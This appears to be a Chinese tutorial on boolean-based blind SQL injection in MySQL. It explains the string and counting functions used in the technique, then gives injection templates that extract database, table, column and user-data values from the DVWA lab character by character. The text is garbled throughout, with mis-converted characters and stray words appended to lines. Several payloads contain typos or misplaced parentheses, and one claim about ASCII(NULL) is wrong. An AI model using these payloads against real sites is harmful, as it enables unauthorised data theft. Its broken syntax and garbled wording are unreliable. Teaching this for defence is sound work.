基於布爾型SQL盲注——MySQL關鍵函數、dvwa演示

1 盲注基本概念

  • 若是每一個應用程序都能按照咱們輸入的SQL 命令返回咱們須要的數據, 那應用程序就無安全性可言了! 爲此, 程序設計者們想到一個辦法, 那就是不管輸入何種命令, 只要SQL 語句致使數據庫產生錯誤, 那麼應用程序就會返回一個「 通用的" 的頁面, 或者重定向一個通用頁面( 可能爲網站首頁) 。這時,回顯方式的SQL 注入辦法就沒法使用了。

  盲注, 即在SQL 注入過程當中, SQL 語句執行選擇後, 選擇的數據不能回顯到前端, 須要使用特殊的方法進行判斷或嘗試, 這個過程稱爲盲注。前端

盲注分爲兩類:

  1. 基於布爾型SQL 盲注:

  基於布爾型SQL 盲汁即在SQL 注入過程當中, 應用程序僅僅返回True( 頁面) 和False( 頁面) 。沒法根據應用程序的返回頁面獲得須要的數據庫信息。可是能夠經過構造邏輯判斷( 比較大小) 來獲得須要的信息。web

  1. 基於時間型SQL 盲注:

注入SQL 代碼以後, 存在如下兩種狀況:數據庫

  • 若是注入的SQL 代碼不影響後臺[ 數據庫] 的正常功能執行, 那麼Web 應用的頁面顯示正確( 原始頁面) 。
  • 若是注入的SQL 代碼影響後臺數據庫的正常功能( 產生了SQL 注入) , 可是此時Web 應用的頁面依舊顯示正常( 緣由是Web 應用程序採起了「 重定向" 或「 屏蔽" 措施)。

產生一個疑問:注入的SQL 代碼到底被後臺數據庫執行了沒有? 即Web 應用程序是否存在SQL 注入?
面對這種狀況,以前講的基於布爾的SQL 盲注就很難發揮做用了( 由於基於布爾的SQL 前提是Web 程序返回的頁面存在true 和false 兩種不一樣的頁面)。這時, 通常採用基於web 應用響應時間上的差別來判斷是否存在SQL 注入, 即基於時間型SQL 盲注。安全

2 MySQL盲注關鍵函數

2.1 判斷結果的記錄數COUNT()

count(columu_name)函數
函數返回指定列的值的數目(NULL 不計入)
語法示例:
Select count (user) from users;    // 返回表中user列的記錄數
select count(*) from users;      // 返回表中的記錄數
示例如圖所示:
函數

 

2.2 返回數據中的某幾行數據 imit()

Limit(m,n) 函數
說明:m 表明從m+1 條記錄行開始檢索,n 表明取出n 條數據。( m 可設爲0 )
語法示例:
select * from 表名 limit m,n;
select user from users limit 0,1;    // 檢索記錄行1
示例如圖所示:網站

 

 

2.3 內容長度判斷函數length()

length() 函數
length() 函數返回文本字段中值的長度。
語法示例:
select length(user) from users;
示例如圖所示:
設計

 

2.4 字符串截取函數mid(), substr() ,substring(),left()

字符串截取函數有幾個相似函數,mid(), substr() ,substring()和left() , 其中前三個函數用法基本一致
  mid (string,start,length)  函數
其中,每一個參數的含義以下:orm

  • string( 必需) 規定要返回其中一部分的字符串。
  • start( 必需) 規定開始位置(起始值是1) 。
  • length( 可選)要返回的字符數。若是省略, 則mid() 函數返回剩餘文本。

  substring(string,start,length) 和substr(string, start, length)
函數實現的功能是同樣的, 均爲截取字符串。
其中,每一個參數的含義以下:blog

  • string( 必需) 規定要返回其中一部分的字符串。
  • start( 必需) 規定開始位置(起始值是1) 。
  • length( 可選)要返回的字符數。

語法示例:ci

 

 

  left (string,length) 函數
截取指定長度的字符串
其中, 每一個參數的含義以下:

  • string  (必需) 規定要返回其中一部分的字符串。
  • length (可選) 規定被返回字符串的前length 長度的字符

 

 

2.5 字符轉ascii 碼函數ascii()

Ascil() 函數
將字符轉化爲ascii 碼。若是是字符串, 則返回的最左字符的數值。也就是第一個字符的ascii 值。若是字符串爲空字符串,則返回NULL 。若是字符串爲NULL, ASCII() 返回數值是從0 到255 隨機。
語法示例

select ascii(substr(user,1,1)) from users limit 0,1;
示例如圖所示

 

3 基於布爾邏輯的盲注

基於布爾型SQL盲注即在SQL 注入過程當中,應用程序僅僅返回True(頁面)和FaIse(頁面)。 但不會回顯程序返回信息。對於布爾型盲注能夠經過構造邏輯判斷( 比較大小) 來獲得數據庫內容信息。
盲注的步驟與注入語句:( 注入須要在注入點拼接注入語句,實現邏輯判斷)
1 、判斷當前數據庫名長度與數據庫名

  • And length(database())>n          / / 判斷當前數據庫長度
  • And ascii(substr(database(),m,1))> n     / / 截取數據庫名第m 個字符並轉換爲ascii 碼

2 、判斷數據庫的表長度與表名

  • And length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) > n         // 判斷第一行表名的長度
  • And ascii((substr(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1)) > n        // 截取第一行表名的第m 個字符串並轉換爲ascii碼

3 、判斷數據庫的字段名長度與字段名稱

  • And length ((select column_name from information_schema.columns where table_name='users' limit 0,1)) >n         // 判斷表中字段名的長度
  • And ascli((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1)) >n    // 截取表中字段的第m 字符串並轉換爲ascii碼

4 、判斷字段的內容長度與內容字符串

  • And length((select user from users limit 0,1)) > 1       / / 判斷字符串內容長度
  • And ascii(substr((select user from users imit 0,1),m,1))   / / 截取第m 個字符串並轉換爲ascil碼

4 SQL盲注——dvwa演示

相關文章
相關標籤/搜索